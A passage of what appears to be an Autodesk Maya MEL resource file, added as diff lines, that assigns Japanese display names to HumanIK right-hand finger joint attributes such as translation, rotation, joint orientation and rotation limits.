+setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2JointOrientx", "右手人差指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2JointOrienty", "右手人差指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2JointOrientz", "右手人差指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimit", "右手人差指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimitx", "右手人差指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimity", "右手人差指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimitz", "右手人差指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimit", "右手人差指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimitx", "右手人差指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimity", "右手人差指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimitz", "右手人差指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimitEnablex", "右手人差指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimitEnabley", "右手人差指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimitEnablez", "右手人差指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimitEnablex", "右手人差指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimitEnabley", "右手人差指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimitEnablez", "右手人差指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3", "右手人差指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3T", "右手人差指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Tx", "右手人差指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Ty", "右手人差指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Tz", "右手人差指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3R", "右手人差指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Rx", "右手人差指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Ry", "右手人差指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Rz", "右手人差指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3S", "右手人差指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Sx", "右手人差指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Sy", "右手人差指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Sz", "右手人差指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", "右手人差指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3RotateAxis", "右手人差指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3RotateAxisx", "右手人差指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3RotateAxisy", "右手人差指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3RotateAxisz", "右手人差指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3JointOrient", "右手人差指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3JointOrientx", "右手人差指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3JointOrienty", "右手人差指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3JointOrientz", "右手人差指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimit", "右手人差指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimitx", "右手人差指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimity", "右手人差指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimitz", "右手人差指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimit", "右手人差指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimitx", "右手人差指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimity", "右手人差指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimitz", "右手人差指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimitEnablex", "右手人差指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimitEnabley", "右手人差指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimitEnablez", "右手人差指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimitEnablex", "右手人差指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimitEnabley", "右手人差指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimitEnablez", "右手人差指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4", "右手人差指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4T", "右手人差指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Tx", "右手人差指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Ty", "右手人差指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Tz", "右手人差指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4R", "右手人差指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Rx", "右手人差指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Ry", "右手人差指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Rz", "右手人差指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4S", "右手人差指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Sx", "右手人差指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Sy", "右手人差指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Sz", "右手人差指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", "右手人差指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4RotateAxis", "右手人差指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4RotateAxisx", "右手人差指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4RotateAxisy", "右手人差指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4RotateAxisz", "右手人差指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4JointOrient", "右手人差指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4JointOrientx", "右手人差指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4JointOrienty", "右手人差指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4JointOrientz", "右手人差指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimit", "右手人差指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimitx", "右手人差指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimity", "右手人差指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimitz", "右手人差指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimit", "右手人差指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimitx", "右手人差指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimity", "右手人差指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimitz", "右手人差指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimitEnablex", "右手人差指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimitEnabley", "右手人差指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimitEnablez", "右手人差指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimitEnablex", "右手人差指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimitEnabley", "右手人差指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimitEnablez", "右手人差指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1", "右手中指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1T", "右手中指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Tx", "右手中指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Ty", "右手中指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Tz", "右手中指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1R", "右手中指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Rx", "右手中指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Ry", "右手中指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Rz", "右手中指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1S", "右手中指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Sx", "右手中指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Sy", "右手中指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Sz", "右手中指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", "右手中指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1RotateAxis", "右手中指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1RotateAxisx", "右手中指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1RotateAxisy", "右手中指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1RotateAxisz", "右手中指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1JointOrient", "右手中指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1JointOrientx", "右手中指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1JointOrienty", "右手中指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1JointOrientz", "右手中指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimit", "右手中指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimitx", "右手中指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimity", "右手中指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimitz", "右手中指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimit", "右手中指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimitx", "右手中指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimity", "右手中指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimitz", "右手中指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimitEnablex", "右手中指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimitEnabley", "右手中指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimitEnablez", "右手中指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimitEnablex", "右手中指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimitEnabley", "右手中指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimitEnablez", "右手中指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2", "右手中指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2T", "右手中指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Tx", "右手中指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Ty", "右手中指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Tz", "右手中指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2R", "右手中指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Rx", "右手中指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Ry", "右手中指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Rz", "右手中指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2S", "右手中指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Sx", "右手中指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Sy", "右手中指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Sz", "右手中指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", "右手中指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2RotateAxis", "右手中指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2RotateAxisx", "右手中指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2RotateAxisy", "右手中指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2RotateAxisz", "右手中指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2JointOrient", "右手中指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2JointOrientx", "右手中指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2JointOrienty", "右手中指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2JointOrientz", "右手中指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimit", "右手中指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimitx", "右手中指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimity", "右手中指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimitz", "右手中指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimit", "右手中指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimitx", "右手中指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimity", "右手中指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimitz", "右手中指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimitEnablex", "右手中指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimitEnabley", "右手中指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimitEnablez", "右手中指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimitEnablex", "右手中指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimitEnabley", "右手中指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimitEnablez", "右手中指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3", "右手中指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3T", "右手中指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Tx", "右手中指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Ty", "右手中指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Tz", "右手中指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3R", "右手中指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Rx", "右手中指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Ry", "右手中指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Rz", "右手中指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3S", "右手中指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Sx", "右手中指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Sy", "右手中指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Sz", "右手中指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", "右手中指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3RotateAxis", "右手中指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3RotateAxisx", "右手中指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3RotateAxisy", "右手中指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3RotateAxisz", "右手中指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3JointOrient", "右手中指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3JointOrientx", "右手中指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3JointOrienty", "右手中指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3JointOrientz", "右手中指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimit", "右手中指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimitx", "右手中指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimity", "右手中指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimitz", "右手中指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimit", "右手中指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimitx", "右手中指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimity", "右手中指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimitz", "右手中指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimitEnablex", "右手中指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimitEnabley", "右手中指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimitEnablez", "右手中指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimitEnablex", "右手中指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimitEnabley", "右手中指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimitEnablez", "右手中指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4", "右手中指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4T", "右手中指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Tx", "右手中指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Ty", "右手中指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Tz", "右手中指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4R", "右手中指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Rx", "右手中指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Ry", "右手中指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Rz", "右手中指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4S", "右手中指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Sx", "右手中指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Sy", "右手中指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Sz", "右手中指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", "右手中指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4RotateAxis", "右手中指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4RotateAxisx", "右手中指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4RotateAxisy", "右手中指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4RotateAxisz", "右手中指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4JointOrient", "右手中指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4JointOrientx", "右手中指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4JointOrienty", "右手中指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4JointOrientz", "右手中指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimit", "右手中指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimitx", "右手中指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimity", "右手中指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimitz", "右手中指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimit", "右手中指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimitx", "右手中指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimity", "右手中指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimitz", "右手中指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimitEnablex", "右手中指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimitEnabley", "右手中指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimitEnablez", "右手中指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimitEnablex", "右手中指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimitEnabley", "右手中指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimitEnablez", "右手中指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1", "右手薬指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1T", "右手薬指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Tx", "右手薬指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Ty", "右手薬指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Tz", "右手薬指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1R", "右手薬指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Rx", "右手薬指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Ry", "右手薬指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Rz", "右手薬指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1S", "右手薬指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Sx", "右手薬指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Sy", "右手薬指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Sz", "右手薬指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1RotateOrder", "右手薬指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1RotateAxis", "右手薬指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1RotateAxisx", "右手薬指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1RotateAxisy", "右手薬指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1RotateAxisz", "右手薬指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1JointOrient", "右手薬指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1JointOrientx", "右手薬指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1JointOrienty", "右手薬指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1JointOrientz", "右手薬指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimit", "右手薬指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimitx", "右手薬指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimity", "右手薬指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimitz", "右手薬指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimit", "右手薬指 1 